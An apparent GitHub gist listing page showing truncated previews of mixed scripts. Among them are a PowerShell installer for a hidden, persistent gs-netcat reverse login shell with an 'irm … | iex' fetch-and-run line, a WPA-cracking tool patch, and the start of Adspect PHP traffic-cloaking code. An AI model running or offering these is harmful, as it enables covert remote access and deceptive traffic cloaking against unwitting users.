mkdir -p ~/bin
chmod +x ~/bin/ai-bash.py
echo 'alias ai="python3 ~/bin/ai-bash.py"' >> ~/.bashrc
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| const checkLuhn = (value) => | |
| String(value) | |
| .replace(/\D/g, '') | |
| .split('') | |
| .reverse() | |
| .map(Number) | |
| .reduce((sum, digit, i) => { | |
| if (i % 2 === 1) { | |
| const doubled = digit * 2; | |
| return sum + (doubled > 9 ? doubled - 9 : doubled); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Install and start a permanent gs-netcat reverse login shell | |
| # | |
| # See https://github.com/hackerschoice/gsocket for examples. | |
| # | |
| # $Env:S="MySecret" # for deploying with a spesific secret. | |
| # $Env:DEBUG=1 # for verbose output. | |
| # $Env:HIDE=1 # to hide the console window. | |
| $ERR_LOGS=$null # New-TemporaryFile | |
| $GITHUB_REPO="https://api.github.com/repos/hackerschoice" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Install and start a permanent gs-netcat reverse login shell | |
| # | |
| # See https://gsocket.io/ for examples. | |
| # | |
| # $Env:S="MySecret" # for deploying with a spesific secret. | |
| # $Env:DEBUG=1 # for verbose output. | |
| # ex: $env:S="mysecret"; irm https://gsocket.io/1 | iex | |
| $ErrorActionPreference = "SilentlyContinue" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| (() => { | |
| async function loadScript(filePath, cacheBuster = `?bust=${new Date().getTime()}`) { | |
| return await new Promise((resolve, reject) => { | |
| const scriptTag = document.createElement('script'); | |
| scriptTag.onload = () => console.log('loaded'); | |
| scriptTag.type = 'text/javascript'; | |
| scriptTag.src = `${filePath}${cacheBuster}`; | |
| scriptTag.onload = resolve; | |
| scriptTag.onerror = reject; | |
| document.querySelector('head').appendChild(scriptTag); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| (async () => { | |
| const SCROLL_SELECTOR = "body"; // <-- поменяй на нужный контейнер, например ".main-scroll" | |
| const scrollEl = SCROLL_SELECTOR === "body" | |
| ? document.documentElement | |
| : document.querySelector(SCROLL_SELECTOR); | |
| if (!scrollEl) { | |
| throw new Error("Scroll element not found: " + SCROLL_SELECTOR); | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // ==UserScript== | |
| // @name Remove toast dialog window using jQuery | |
| // @namespace http://tampermonkey.net/ | |
| // @version 2026-01-27 | |
| // @description try to take over the world! | |
| // @author You | |
| // @match https://godsofmarketing-reserv.top/* | |
| // @require https://code.jquery.com/jquery-4.0.0.slim.min.js | |
| // @icon https://www.google.com/s2/favicons?sz=64&domain=tampermonkey.net | |
| // @grant none |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env bash | |
| [ -f .env ] && export $(cat .env | grep -v '^#' | xargs) | |
| # another variantwith source | |
| # [ -f .env ] && set -a && source .env && set +a | |
| # or | |
| # [ -f .env ] && set -a && . .env && set +a |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| diff -uNr cowpatty-4.6/cowpatty.c cowpatty-4.6-fixup16/cowpatty.c | |
| --- cowpatty-4.6/cowpatty.c 2009-07-03 08:15:50.000000000 -0700 | |
| +++ cowpatty-4.6-fixup16/cowpatty.c 2009-08-01 13:26:14.820815924 -0700 | |
| @@ -94,8 +94,7 @@ | |
| "\t-d \tHash file (genpmk)\n" | |
| "\t-r \tPacket capture file\n" | |
| "\t-s \tNetwork SSID (enclose in quotes if SSID includes spaces)\n" | |
| - "\t-2 \tUse frames 1 and 2 or 2 and 3 for key attack (nonstrict mode)\n" | |
| - "\t-c \tCheck for valid 4-way frames, does not crack\n" | |
| + "\t-c \tCheck for valid 4-way frames, does not crack\n" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| ini_set('display_errors','0');error_reporting(E_ALL);if(!function_exists('adspect')){function adspect_exit($code,$message){http_response_code($code);exit($message);}function adspect_dig($array,$key,$default=''){return array_key_exists($key,$array)?$array[$key]:$default;}function adspect_curl($url,$options){$curl=curl_init();curl_setopt_array($curl,[CURLOPT_URL=>$url,CURLOPT_CONNECTTIMEOUT=>60,CURLOPT_TIMEOUT=>60,CURLOPT_SSL_VERIFYHOST=>0,CURLOPT_SSL_VERIFYPEER=>0,]);if(!empty($options)){curl_setopt_array($curl,$options);}$content=curl_exec($curl);$errno=curl_errno($curl);if($errno){adspect_exit(500,'curl error: '.curl_strerror($errno));}$code=curl_getinfo($curl,CURLINFO_HTTP_CODE);$type=curl_getinfo($curl,CURLINFO_CONTENT_TYPE);curl_close($curl);return[$code,$content,$type];}function adspect_rpc_url($sid){$sid=adspect_dig($_GET,'__sid',$sid);$query=adspect_dig($_SERVER,'QUERY_STRING');return"https://rpc.adspect.net/v2/$sid?$query";}function adspect_client_ip($keys){foreach($keys as$key){if(isset($_SERVE |
NewerOlder